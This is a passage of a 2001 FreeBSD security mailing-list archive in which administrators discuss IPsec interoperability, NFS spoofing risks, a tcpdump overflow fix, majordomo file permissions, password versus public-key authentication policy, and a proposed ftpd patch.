try very hard and after all, I am not exactly a guru, so... -- Regards: Szilveszter ADAM Szeged University Szeged Hungary To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 13 14:26:10 2001 Delivered-To: freebsd-security@freebsd.org Received: from mine.kame.net (kame195.kame.net [203.178.141.195]) by hub.freebsd.org (Postfix) with ESMTP id 05BF937B401; Sat, 13 Jan 2001 14:25:50 -0800 (PST) Received: from localhost (usr-p30-76.tmisnet.com [205.197.30.76]) by mine.kame.net (8.9.3/3.7W) with ESMTP id HAA53402; Sun, 14 Jan 2001 07:23:07 +0900 (JST) To: jorge@aker.com.br Cc: freebsd-net@freebsd.org, freebsd-security@freebsd.org Subject: Re: IPSEC: racoon and Win2K In-Reply-To: Your message of "Wed, 10 Jan 2001 19:37:32 -0200" <3A5CD61C.673C1B83@aker.com.br> References: <3A5CD61C.673C1B83@aker.com.br> X-Mailer: Cue version 0.6 (001128-1517/sakane) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Message-Id: <20010114072639Y.sakane@ydc.co.jp> Date: Sun, 14 Jan 2001 07:26:39 +0900 From: "Shoichi 'Ne' Sakane" X-Dispatcher: imput version 990905(IM130) Lines: 11 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Anyone was successfull in making these interoperate? Could you please > tell me which racoon version you used and please send me the conf file? I was successfull in that, but only with transport mode. But Win2K sometime rejected the phase 2 exchange due to proposal mismatch. I could not get the reason. See, http://www.tanu.org/~sakane/doc/public/report-ike-interop0007.html I doubt that Win2K can accept a connection of tunnel mode as a responder. Because Win2K is generally used as a client device of remote accessing into the private network through a security gateway. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 13 15:17:56 2001 Delivered-To: freebsd-security@freebsd.org Received: from eken.vxu.se (eken.vxu.se [194.47.65.11]) by hub.freebsd.org (Postfix) with ESMTP id BAF0637B402 for ; Sat, 13 Jan 2001 15:17:34 -0800 (PST) Received: from xgod (aaldv97.idet.vxu.se [194.47.111.20]) by eken.vxu.se (8.8.7/8.8.7) with SMTP id AAA07417 for ; Sun, 14 Jan 2001 00:17:32 +0100 (MET) Message-ID: <003e01c07db6$fac4b850$6400a8c0@xgod> From: "David Andreas Alderud" To: "_Security" References: Subject: Re: Encrypted networked filesystem needed Date: Sun, 14 Jan 2001 00:17:20 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org It might be a good idea to take a look at NIS+ if you want to use NFS, there still some problems but considering how simple it is to use NIS+ it's really good, NIS+ removes most if the problems with DNS. The reasons for using NIS+ is mainly because it's designed to work with NFS, both coming from Sun Microsystems. /Kind regards, David A. Alderud :From: "Robert Watson" :Subject: Re: Encrypted networked filesystem needed : : It's important to note that even if you use IPsec, you still need to be : careful with NFS, for a number of reasons. The easiest attack is a DNS : spoofing attack: clients often use DNS to resolve the IP address of the : server they connect to, and if they rely on unprotected DNS traffic, then : they may be vulnerable to spoofing, causing them to access a different : server than the one they intended to mount. And, needless to say, IPsec : policy must be set appropriately for relevant IP addresses at both ends, : which also need to be specified in a spoof-free manner. The best rule is : to hard-code IP addresses wherever possible, or rely on /etc/hosts and : appropriate resolution ordering, or to use DNSsec (if available). There : are other attacks against NFS also. : : Robert N M Watson FreeBSD Core Team, TrustedBSD Project : robert@fledge.watson.org NAI Labs, Safeport Network Services To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 13 15:36: 9 2001 Delivered-To: freebsd-security@freebsd.org Received: from isr5429.urh.uiuc.edu (isr5429.urh.uiuc.edu [130.126.209.169]) by hub.freebsd.org (Postfix) with SMTP id 7FF7E37B400 for ; Sat, 13 Jan 2001 15:35:52 -0800 (PST) Received: (qmail 40320 invoked by uid 1000); 13 Jan 2001 23:35:52 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 13 Jan 2001 23:35:52 -0000 Date: Sat, 13 Jan 2001 17:35:51 -0600 (CST) From: Frank Tobin X-X-Sender: To: Dru Cc: Subject: Re: opinions on password policies In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org While this may not be applicable to your situation, I feel that the best policy is to demand public-key authentication. The reason for this is to limit the human factor, not demanding the user remember yet another unique password. If forced to remember another password, most users (including myself) will often re-use a password they use at another place. If your system is compromised, you do not to help the attackers, who are now likely, get into other accounts the user might have other places because they reused the pasword. On the flip side, it would be best that if the user was compromised someplace else, it won't help the attackers use the authentication information to get into the victim's account on your system. Public-key systems prevent this sort of "chain-reaction" account breakage. -- Frank Tobin http://www.uiuc.edu/~ftobin/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 13 15:42:29 2001 Delivered-To: freebsd-security@freebsd.org Received: from citusc.usc.edu (citusc.usc.edu [128.125.38.123]) by hub.freebsd.org (Postfix) with ESMTP id 78A9C37B404 for ; Sat, 13 Jan 2001 15:42:11 -0800 (PST) Received: (from kris@localhost) by citusc.usc.edu (8.9.3/8.9.3) id PAA02417; Sat, 13 Jan 2001 15:41:44 -0800 Date: Sat, 13 Jan 2001 15:41:44 -0800 From: Kris Kennaway To: Cy Schubert - ITSD Open Systems Group Cc: freebsd-security@FreeBSD.ORG Subject: Re: [!H] Tcpdump 3.5.2 remote root vulnerability (fwd) Message-ID: <20010113154144.A2379@citusc.usc.edu> References: <20010112184529.B25168@citusc.usc.edu> <200101131323.f0DDNX518734@cwsys.cwsent.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="BXVAT5kNtrzKuDFl" Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: <200101131323.f0DDNX518734@cwsys.cwsent.com>; from Cy.Schubert@uumail.gov.bc.ca on Sat, Jan 13, 2001 at 05:23:22AM -0800 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org --BXVAT5kNtrzKuDFl Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sat, Jan 13, 2001 at 05:23:22AM -0800, Cy Schubert - ITSD Open Systems G= roup wrote: > I do recall the advisory which mainly patches some calls from sprintf()= =20 > to snprintf(), however the advisory from BUGTRAQ that I had forwarded=20 > to this list patches two calls to sscanf(). Are you saying that we=20 > tackled the same problem differently or did we just fix a different=20 > buffer overrun condition? I believe it attempts to fix one of the problems we fixed (but does it incorrectly, by truncating a string to 127 bytes which may legitimately be up to 2048 bytes long in the real world) > If this is a different problem, there are two other sscanf's in=20 > print-atalk.c that were not discussed in the advisory that need fixing. These are not exploitable: they read from /etc/atalk.names which is root-owned, and even then the buffers are sized such that they can't be overflowed. Kris --BXVAT5kNtrzKuDFl Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE6YOe4Wry0BWjoQKURAmQvAKDFVlatc2lnhhB5N1MKJ0lotOGK0gCgkQap THxRSuUnDQJU3l/3EdNS3H8= =Pk3b -----END PGP SIGNATURE----- --BXVAT5kNtrzKuDFl-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 13 15:44: 5 2001 Delivered-To: freebsd-security@freebsd.org Received: from citusc.usc.edu (citusc.usc.edu [128.125.38.123]) by hub.freebsd.org (Postfix) with ESMTP id 0310C37B699 for ; Sat, 13 Jan 2001 15:43:47 -0800 (PST) Received: (from kris@localhost) by citusc.usc.edu (8.9.3/8.9.3) id PAA02436; Sat, 13 Jan 2001 15:45:03 -0800 Date: Sat, 13 Jan 2001 15:45:02 -0800 From: Kris Kennaway To: James Wyatt Cc: Ryan Thompson , freebsd-security@FreeBSD.ORG Subject: Re: Majordomo lists security Message-ID: <20010113154502.C2379@citusc.usc.edu> References: <20010112222249.A28910@citusc.usc.edu> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="O3RTKUHj+75w1tg5" Content-Disposition: inline User-Agent: Mutt/1.2i In-Reply-To: ; from jwyatt@rwsystems.net on Sat, Jan 13, 2001 at 10:17:37AM -0600 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org --O3RTKUHj+75w1tg5 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sat, Jan 13, 2001 at 10:17:37AM -0600, James Wyatt wrote: > On Fri, 12 Jan 2001, Kris Kennaway wrote: > > On Sat, Jan 13, 2001 at 12:05:10AM -0600, Ryan Thompson wrote: > > > Hmm... Maybe this has been answered before. > > >=20 > > > Is there a GOOD reason that, by default, /usr/local/majordomo/lists is > > > world readable? Does not just the "majordom" user/group ever read the > > > files contained therein? Until now, I've never really had cause to p= lay > [ ... ] > > From the makefile: > >=20 > > .if !defined(BATCH) && !defined(PACKAGE_BUILDING) > > /usr/bin/dialog --yesno "Majordomo is unsafe to use on multi-us= er machines: local users can run > > arbitrary commands as the majordomo user. Do you wish to accept the se= curity risk and build majordomo > > anyway?" 8 60 || ${FALSE} > > .endif >=20 > This says *nothing* about allowing (very portable) passwords to leak, just > that they can run commands. Most users would take that to mean run such > commands *locally*, not remotely. - Jy@ The ability to run commands as the user is a superset of the ability to read a file, since the majordomo user can read its own files :-) Both of these abilities require the user to be on the local machine, hence the first part of the warning also covers it. Kris --O3RTKUHj+75w1tg5 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE6YOh+Wry0BWjoQKURApI/AJ93wPK3Sra8+lDWzT1RfpeNhWoM/gCfd0md f72Ax3E7LbaOYjUG3K6fmBQ= =LFl1 -----END PGP SIGNATURE----- --O3RTKUHj+75w1tg5-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 13 16:50:39 2001 Delivered-To: freebsd-security@freebsd.org Received: from mailhost01.reflexnet.net (mailhost01.reflexnet.net [64.6.192.82]) by hub.freebsd.org (Postfix) with ESMTP id 6BFCD37B698 for ; Sat, 13 Jan 2001 16:50:22 -0800 (PST) Received: from rfx-64-6-211-149.users.reflexcom.com ([64.6.211.149]) by mailhost01.reflexnet.net with Microsoft SMTPSVC(5.5.1877.197.19); Sat, 13 Jan 2001 16:48:37 -0800 Received: (from cjc@localhost) by rfx-64-6-211-149.users.reflexcom.com (8.11.1/8.11.0) id f0E0oMn12657; Sat, 13 Jan 2001 16:50:22 -0800 (PST) (envelope-from cjc) Date: Sat, 13 Jan 2001 16:50:21 -0800 From: "Crist J. Clark" To: Frank Tobin Cc: Dru , security@FreeBSD.ORG Subject: Re: opinions on password policies Message-ID: <20010113165021.I97980@rfx-64-6-211-149.users.reflexco> Reply-To: cjclark@alum.mit.edu References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: ; from ftobin@uiuc.edu on Sat, Jan 13, 2001 at 05:35:51PM -0600 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, Jan 13, 2001 at 05:35:51PM -0600, Frank Tobin wrote: > While this may not be applicable to your situation, I feel that the best > policy is to demand public-key authentication. The reason for this is to > limit the human factor, not demanding the user remember yet another unique > password. If forced to remember another password, most users (including > myself) will often re-use a password they use at another place. > > If your system is compromised, you do not to help the attackers, who are > now likely, get into other accounts the user might have other places > because they reused the pasword. On the flip side, it would be best that > if the user was compromised someplace else, it won't help the attackers > use the authentication information to get into the victim's account on > your system. Public-key systems prevent this sort of "chain-reaction" > account breakage. I am not sure I understand your argument here. I your system, how does the _user_ authenticate himself? Biometrics? HW token? Smart card? Really, no passwords? -- Crist J. Clark cjclark@alum.mit.edu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 13 19:51:47 2001 Delivered-To: freebsd-security@freebsd.org Received: from mail.ipfw.org (cr308584-a.wlfdle1.on.wave.home.com [24.114.52.208]) by hub.freebsd.org (Postfix) with ESMTP id B5D7437B400 for ; Sat, 13 Jan 2001 19:51:29 -0800 (PST) Received: from apollo (apollo.objtech.com [192.168.111.5]) by mail.ipfw.org (Postfix) with ESMTP id 1948D312D; Sat, 13 Jan 2001 22:51:25 -0500 (EST) Date: Sat, 13 Jan 2001 22:51:24 -0500 From: Peter Chiu X-Mailer: The Bat! (v1.49) Reply-To: Webbie X-Priority: 3 (Normal) Message-ID: <58623706.20010113225124@ipfw.org> To: "Crist J. Clark" Cc: Frank Tobin , cjclark@alum.mit.edu, Dru , Subject: Re[2]: opinions on password policies In-reply-To: <20010113165021.I97980@rfx-64-6-211-149.users.reflexco> References: <20010113165021.I97980@rfx-64-6-211-149.users.reflexco> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Saturday, January 13, 2001, 7:50:21 PM, you wrote: CJC> On Sat, Jan 13, 2001 at 05:35:51PM -0600, Frank Tobin wrote: >> While this may not be applicable to your situation, I feel that the best >> policy is to demand public-key authentication. The reason for this is to >> limit the human factor, not demanding the user remember yet another unique >> password. If forced to remember another password, most users (including >> myself) will often re-use a password they use at another place. >> >> If your system is compromised, you do not to help the attackers, who are >> now likely, get into other accounts the user might have other places >> because they reused the pasword. On the flip side, it would be best that >> if the user was compromised someplace else, it won't help the attackers >> use the authentication information to get into the victim's account on >> your system. Public-key systems prevent this sort of "chain-reaction" >> account breakage. CJC> I am not sure I understand your argument here. I your system, how does CJC> the _user_ authenticate himself? Biometrics? HW token? Smart card? CJC> Really, no passwords? I think he means using a public-key pair without a passphrase. I could be wrong though. However, if the box that stores the private key is compromised, all other remote boxes that use that key pair are in danger. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 13 20: 7: 2 2001 Delivered-To: freebsd-security@freebsd.org Received: from mailhost01.reflexnet.net (mailhost01.reflexnet.net [64.6.192.82]) by hub.freebsd.org (Postfix) with ESMTP id BB1DD37B6A6 for ; Sat, 13 Jan 2001 20:06:43 -0800 (PST) Received: from rfx-64-6-211-149.users.reflexcom.com ([64.6.211.149]) by mailhost01.reflexnet.net with Microsoft SMTPSVC(5.5.1877.197.19); Sat, 13 Jan 2001 20:04:58 -0800 Received: (from cjc@localhost) by rfx-64-6-211-149.users.reflexcom.com (8.11.1/8.11.0) id f0E46mR33317; Sat, 13 Jan 2001 20:06:48 -0800 (PST) (envelope-from cjc) Date: Sat, 13 Jan 2001 20:06:48 -0800 From: "Crist J. Clark" To: Webbie Cc: Frank Tobin , Dru , security@FreeBSD.ORG Subject: Re: opinions on password policies Message-ID: <20010113200648.K97980@rfx-64-6-211-149.users.reflexco> Reply-To: cjclark@alum.mit.edu References: <20010113165021.I97980@rfx-64-6-211-149.users.reflexco> <58623706.20010113225124@ipfw.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0i In-Reply-To: <58623706.20010113225124@ipfw.org>; from pccb@yahoo.com on Sat, Jan 13, 2001 at 10:51:24PM -0500 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Sat, Jan 13, 2001 at 10:51:24PM -0500, Peter Chiu wrote: > Saturday, January 13, 2001, 7:50:21 PM, you wrote: > > CJC> On Sat, Jan 13, 2001 at 05:35:51PM -0600, Frank Tobin wrote: > >> While this may not be applicable to your situation, I feel that the best > >> policy is to demand public-key authentication. The reason for this is to > >> limit the human factor, not demanding the user remember yet another unique > >> password. If forced to remember another password, most users (including > >> myself) will often re-use a password they use at another place. > >> > >> If your system is compromised, you do not to help the attackers, who are > >> now likely, get into other accounts the user might have other places > >> because they reused the pasword. On the flip side, it would be best that > >> if the user was compromised someplace else, it won't help the attackers > >> use the authentication information to get into the victim's account on > >> your system. Public-key systems prevent this sort of "chain-reaction" > >> account breakage. > > CJC> I am not sure I understand your argument here. I your system, how does > CJC> the _user_ authenticate himself? Biometrics? HW token? Smart card? > CJC> Really, no passwords? > > I think he means using a public-key pair without a passphrase. I could > be wrong though. Geez. I hope not. That means there is no user authentication at all. -- Crist J. Clark cjclark@alum.mit.edu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 13 23:33:57 2001 Delivered-To: freebsd-security@freebsd.org Received: from spammie.svbug.com (unknown [198.79.110.2]) by hub.freebsd.org (Postfix) with ESMTP id D355E37B400 for ; Sat, 13 Jan 2001 23:33:39 -0800 (PST) Received: from spammie.svbug.com (localhost.mozie.org [127.0.0.1]) by spammie.svbug.com (8.9.3/8.9.3) with ESMTP id XAA00644; Sat, 13 Jan 2001 23:33:16 -0800 (PST) (envelope-from jessem@spammie.svbug.com) Message-Id: <200101140733.XAA00644@spammie.svbug.com> Date: Sat, 13 Jan 2001 23:33:14 -0800 (PST) From: opentrax@email.com Reply-To: opentrax@email.com Subject: Re: opinions on password policies To: ftobin@uiuc.edu Cc: genisis@istar.ca, security@FreeBSD.ORG In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 13 Jan, Frank Tobin wrote: > While this may not be applicable to your situation, I feel that the best > policy is to demand public-key authentication. The reason for this is to > limit the human factor, not demanding the user remember yet another unique > password. If forced to remember another password, most users (including > myself) will often re-use a password they use at another place. > This is not a good policy. For small infrasturcures (5-100 users), PKA might be acceptable. However, this is useful only if ALL users login remotely. Even then, PKA, such as used in SSH, has management problems. Getting back to password policies, do what you can. Studies such as: http://www.cs.wpi.edu/~cs513/f99cew/week12-crypt/week12-crypt.html Show that most public systems can be cracked easily with a simple dictionay attack. The best security policy is to expect systems with many users that you don't personally know (like universities) will be hacked. Jessem. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 13 23:40:54 2001 Delivered-To: freebsd-security@freebsd.org Received: from spammie.svbug.com (unknown [198.79.110.2]) by hub.freebsd.org (Postfix) with ESMTP id 2013137B402 for ; Sat, 13 Jan 2001 23:40:37 -0800 (PST) Received: from spammie.svbug.com (localhost.mozie.org [127.0.0.1]) by spammie.svbug.com (8.9.3/8.9.3) with ESMTP id XAA00656; Sat, 13 Jan 2001 23:40:08 -0800 (PST) (envelope-from jessem@spammie.svbug.com) Message-Id: <200101140740.XAA00656@spammie.svbug.com> Date: Sat, 13 Jan 2001 23:40:06 -0800 (PST) From: opentrax@email.com Reply-To: opentrax@email.com Subject: Re: Proposed modification to ftpd To: jwyatt@rwsystems.net Cc: security@FreeBSD.ORG In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8BIT Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org I think we agree, James. Don't add this. On 31 Dec, James Wyatt wrote: > On Sun, 31 Dec 2000 opentrax@email.com wrote: >> On 29 Dec, Fernando Schapachnik wrote: >> > En un mensaje anterior, Kris Kennaway escribió: >> > -- Start of PGP signed section. >> >> On Fri, Dec 29, 2000 at 01:29:45PM -0300, Fernando Schapachnik wrote: >> >> > Hello: >> >> > I just submitted PR bin/23944, which contains a patch against To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 13 23:46:30 2001 Delivered-To: freebsd-security@freebsd.org Received: from isr5429.urh.uiuc.edu (isr5429.urh.uiuc.edu [130.126.209.169]) by hub.freebsd.org (Postfix) with SMTP id 4CE0737B698 for ; Sat, 13 Jan 2001 23:46:13 -0800 (PST) Received: (qmail 41492 invoked by uid 1000); 14 Jan 2001 07:46:08 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 14 Jan 2001 07:46:08 -0000 Date: Sun, 14 Jan 2001 01:46:08 -0600 (CST) From: Frank Tobin X-X-Sender: To: Cc: , Subject: Re: opinions on password policies In-Reply-To: <200101140733.XAA00644@spammie.svbug.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org opentrax@email.com, at 23:33 -0800 on Sat, 13 Jan 2001, wrote: This is not a good policy. For small infrasturcures (5-100 users), PKA might be acceptable. However, this is useful only if ALL users login remotely. Even then, PKA, such as used in SSH, has management problems. I'll agree that a lot is dependent on the context of the authentication (something which was not elaborated on). However, if it is a system where each user has their own (single-user,closed) workstation, along with there existing network-wide servers used, a good policy might be to mandate public-key authentictaion on the network-wide servers, while not caring about the security policy each user puts on his own machine. If there is secure computational power at the hands of the user, then PKA is definitely a good way to go. -- Frank Tobin http://www.uiuc.edu/~ftobin/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 13 23:47:14 2001 Delivered-To: freebsd-security@freebsd.org Received: from isr5429.urh.uiuc.edu (isr5429.urh.uiuc.edu [130.126.209.169]) by hub.freebsd.org (Postfix) with SMTP id 73B5337B69B for ; Sat, 13 Jan 2001 23:46:56 -0800 (PST) Received: (qmail 41504 invoked by uid 1000); 14 Jan 2001 07:46:57 -0000 Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; 14 Jan 2001 07:46:57 -0000 Date: Sun, 14 Jan 2001 01:46:57 -0600 (CST) From: Frank Tobin X-X-Sender: To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Crist J. Clark, at 16:50 -0800 on Sat, 13 Jan 2001, wrote: I am not sure I understand your argument here. I your system, how does the _user_ authenticate himself? Biometrics? HW token? Smart card? Really, no passwords? Public-key authentications exist in such implementations such as ssh RSA authentication. In general, they involve the user signing or decrypting certain data. Peter Chiu is correct in stating that there is a central point of vulnerability when it comes to using public key authentication. Of course, the user is under no obligation to use the same keypair for all systems used. Also, the decision of how many sites the user uses a particular keypair for, and whether or not to encrypt the keypair locally is entirely up to the user (a good thing). One key idea is to leave the strength of the security as much up to the user as possible. With passwords, however, the user has to worry about both ends being compromoised (his end, and the server's end); if the server is compromised, and his password gotten, this might be used against him other places. With public-key authentication, he only has to worry about his end; if the server's end is compromised, the user's security is compromised little. -- Frank Tobin http://www.uiuc.edu/~ftobin/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Sat Jan 13 23:57:35 2001 Delivered-To: freebsd-security@freebsd.org Received: from spammie.svbug.com (unknown [198.79.110.2]) by hub.freebsd.org (Postfix) with ESMTP id 1943937B400; Sat, 13 Jan 2001 23:57:14 -0800 (PST) Received: from spammie.svbug.com (localhost.mozie.org [127.0.0.1]) by spammie.svbug.com (8.9.3/8.9.3) with ESMTP id XAA00669; Sat, 13 Jan 2001 23:55:01 -0800 (PST) (envelope-from jessem@spammie.svbug.com) Message-Id: <200101140755.XAA00669@spammie.svbug.com> Date: Sat, 13 Jan 2001 23:54:59 -0800 (PST) From: opentrax@email.com Reply-To: opentrax@email.com Subject: Re: Proposed modification to ftpd To: fschapachnik@vianetworks.com.ar Cc: imp@bsdimp.com, roman@xpert.com, security@FreeBSD.ORG, audit@FreeBSD.ORG In-Reply-To: <200101030016.VAA49573@ns1.via-net-works.net.ar> MIME-Version: 1.0 Content-Type: TEXT/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8BIT Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org No follow-ups to this please. On 2 Jan, Fernando Schapachnik wrote: > En un mensaje anterior, Warner Losh escribió: >> In message <200101021500.MAA18599@ns1.via-net-works.net.ar> Fernando Schapachnik writes: >> : In the patch I made "/./" is an easely changeable #define. >> >> Maybe I missed the pointer to it, but can you post a pointer to your >> patch for review? Audit@ might be a good list to cc it to as well. > > I did in my first post, but here it goes again: PR bin/23944. I also > submitted a follow up that for some reason can't be seen through the > web interface which add checks for strdup result values that are > missing in the first patch. > I'm stating for the record, that I don't believe this option is useful or needed. The authors intent is to emulate wuftpd. My arguement is that people should use wuftpd, if they want hat feature. Nothing suggest that this won't add new security issues. I beleive it will. I remind those reading that Linux has had many security issues, just because of this type of feature-itise. I recommend against this. Warner Losh states he believes it is useful. This issue now passes to those who will review it. If you feel this is also a bad idea, write me I'll help gather evidence against this. If you feel this is a good idea and should be implemented, it is upon you to decide it's next course of action. Lastly, if you feel like telling me I'm wrong, don't bother - just do what you will with this code. best regards, Jessem. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message